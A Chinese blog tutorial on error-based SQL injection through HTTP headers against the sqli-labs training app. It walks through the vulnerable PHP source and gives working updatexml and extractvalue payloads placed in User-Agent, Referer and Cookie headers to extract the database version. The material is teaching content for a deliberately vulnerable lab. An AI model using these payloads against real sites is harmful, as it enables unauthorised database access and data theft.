SQL注入-POST方式SQL注入(三)

1.1 HTTP头注入

我们可以使用报错注入的方式进行,报错注入可以使用以下函数进行测试:

  • floor函数:

floor(rand(0)*2) 利用分组时生成的虚拟表出现主键冲突,报出错误信息

  • extractvalue函数:extractvalue(XML_document, XPath_string); 查询
  • 第一个参数: XML_ document是String格式,为XML文档对象的名称
  • 第二个参数: XPath_ string (Xpath格式的字符串)

例:extractvalue(‘ <book> <author> root < /author> </book> ‘,/book/author”)

  • updatexml函数:updatexml(XML_document, XPath_string, new_value); 修改
  • 第一个参数: XML_ document是String格式,为XML文档对象的名称
  • 第二个参数: XPath_ string (Xpath格式的字符串)
  • 第三个参数: new_value,String格式,替换查找到的符合条件的数据

例:updatexml(‘ < book> <author> root < /author> < /book>’, ‘/book/author’, ‘mk’)

函数说明:第二个参数XPath_string 表示xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxxx…这种格式,如果我们写入其他格式就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1.1.1 HTTP User-Agent注入

1.1.1.1  源码分析

[root@centos7-sqlilabs Less-18]# vim index.php
37 function check_input($value)     # 源码中对数据进行了检查
 38         {
 39         if(!empty($value))
 40                 {
 41                 // truncation (see comments)
 42                 $value = substr($value,0,20);
 43                 }
 44
 45                 // Stripslashes if magic quotes enabled
 46                 if (get_magic_quotes_gpc())
 47                         {
 48                         $value = stripslashes($value);
 49                         }
 50
 51                 // Quote if not a number
 52                 if (!ctype_digit($value))
 53                         {
 54                         $value = "'" . mysql_real_escape_string($value) . "'";
 55                         }
 56
 57         else
 58                 {
 59                 $value = intval($value);
 60                 }
 61         return $value;
 62         }
 63
 64
 65         # 未对user-agent进行校验并存储到了数据库中
 66         $uagent = $_SERVER['HTTP_USER_AGENT'];
 67         $IP = $_SERVER['REMOTE_ADDR'];

103                         $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
104                         mysql_query($insert);

1.1.1.2  判断是否存在注入点

修改User-Agent字段添加一个’单引号:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

图片[1]|SQL注入-POST方式SQL注入(三)|leon的博客

【结果分析】:

返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘192.168.10.180’, ‘admin’)’ at line 1

说明该字段是存入了数据库中,所以可能存在注入点。

PS.正常情况是不会有回显信息的,但是源码中为了方便我们学习,将SQL语句打印了出来。

1.1.1.3  查询数据库版本信息

修改字符串:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or ‘1’=’1

【字段解释】:

  • ‘ and用来拼接我们的SQL语句;
  • updatexml的第一个参数和第三个参数是我们随意写的,第二个参数使用连接查询数据,以为第二个参数查询的字符串不满足Xpath格式所以报错;
  • or’1’=’1 (注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行;
  • 0x7e是波浪号~可以修改成其他符号的16进制,或者也可以删掉;

图片[2]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.2 HTTP referer注入

1.1.2.1  判断是否存在注入点

图片[3]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.2.2  查询数据版本信息

修改字符串:

Referer: http://192.168.10.159/sqli-labs/Less-19/‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1

Referer: http://192.168.10.159/sqli-labs/Less-19/‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or ‘1’=’1

图片[4]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.3 Cookie注入

用户访问网站在交互的过程中,用户的一系列操作肯定会产生一些数据需要保存,这时就需要使用Cookie或者Session技术来完成。

登录网站时如果选择记住密码,浏览器就会保存我们登录网站的cookie,下次打开网站时就不需要再次输入用户名密码等信息。

虽然Cookie为我们带来了非常多的便捷性,但是也给我们带来了非常多的安全隐患,比如攻击者可以窃取用户的Cookie来获得用户权限,或者攻击者修改Cookie对目标服务器进行攻击。

1.1.3.1  正常登录站点

点击submit后需要Forward两次才可以正常登录系统

图片[5]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.3.2  查看登录后的cookie信息

登录成功后刷新一下页面即可显示出cookie信息

图片[6]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.3.3  判断是否存在注入点

图片[7]|SQL注入-POST方式SQL注入(三)|leon的博客

1.1.3.4  查询数据库版本信息

修改字符串:

Cookie: uname=admin‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1

Cookie: uname=admin‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or ‘1’=’1

图片[8]|SQL注入-POST方式SQL注入(三)|leon的博客

温馨提示:本文最后更新于2022-12-20 20:57:37,已超过455天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2297.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享